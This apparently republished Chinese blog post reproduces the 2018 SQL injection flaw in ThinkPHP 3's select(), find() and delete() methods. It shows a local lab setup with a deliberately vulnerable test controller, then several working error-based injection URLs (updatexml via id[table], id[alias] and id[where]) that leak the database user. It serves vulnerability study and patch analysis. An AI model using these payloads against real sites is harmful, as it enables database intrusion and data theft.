thinkphp3有漏洞吗

thinkphp3有漏洞吗,第1张

thinkphp3有漏洞吗

thinkphp3有漏洞吗?

thinkphp3是有漏洞的,但是在北京时间 2018年8月23号11:25分 星期四,tp团队对于已经停止更新的thinkphp 3系列进行了一处安全更新,经过分析,此次更新修正了由于select(),find(),delete()方法可能会传入数组类型数据产生的多个sql注入隐患。

0x01 漏洞复现

下载源码: git clone https://github.com/top-think/thinkphp.git

使用git checkout 命令将版本回退到上一次commit:git checkout 109bf30254a38651c21837633d9293a4065c300b

使用phpstudy等集成工具搭建thinkphp,修改apache的配置文件httpd-conf

DocumentRoot "" 为thinkphp所在的目录。

重启phpstudy,访问127.0.0.1,输出thinkphp的欢迎信息,表示thinkphp已正常运行。

搭建数据库,数据库为tptest,表为user,表里面有三个字段id,username,pass

修改Application\Common\Conf\config.php配置文件,添加数据库配置信息。

之后在Application\Home\Controller\IndexController.class.php 添加以下代码:

public function test()
    {
       $id = i('id');
       $res = M('user')->find($id);
       //$res = M('user')->delete($id);
       //$res = M('user')->select($id);
    }

针对select() 和find()方法 ,有很多地方可注,这里主要列举三个table,alias,where,更多还请自行跟踪一下parseSql的各个parseXXX方法,目测都是可行的,比如having,group等。

table:http://127.0.0.1/index.php?m=Home&c=Index&a=test&id[table]=user where%201%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--
alias:http://127.0.0.1/index.php?m=Home&c=Index&a=test&id[alias]=where%201%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--
where: http://127.0.0.1/index.php?m=Home&c=Index&a=test&id[where]=1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--

而delete()方法的话同样,这里粗略举三个例子,table,alias,where,但使用table和alias的时候,同时还必须保证where不为空(详细原因后面会说)

where: http://127.0.0.1/index.php?m=Home&c=Index&a=test&id[where]=1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--
alias: http://127.0.0.1/index.php?m=Home&c=Index&a=test&id[where]=1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--
table: http://127.0.0.1/index.php?m=Home&c=Index&a=test&id[table]=user%20where%201%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--&id[where]=1

通过github上的commit 对比其实可以粗略知道,此次更新主要是在ThinkPHP/Library/Think/Model.class.php文件中,其中对于delete,find,select三个函数进行了修改。

以上就是thinkphp3有漏洞吗的详细内容,

欢迎分享,转载请注明来源:内存溢出

原文地址: https://outofmemory.cn/web/701389.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2022-04-23
下一篇 2022-04-23

发表评论

登录后才能评论

评论列表(0条)

保存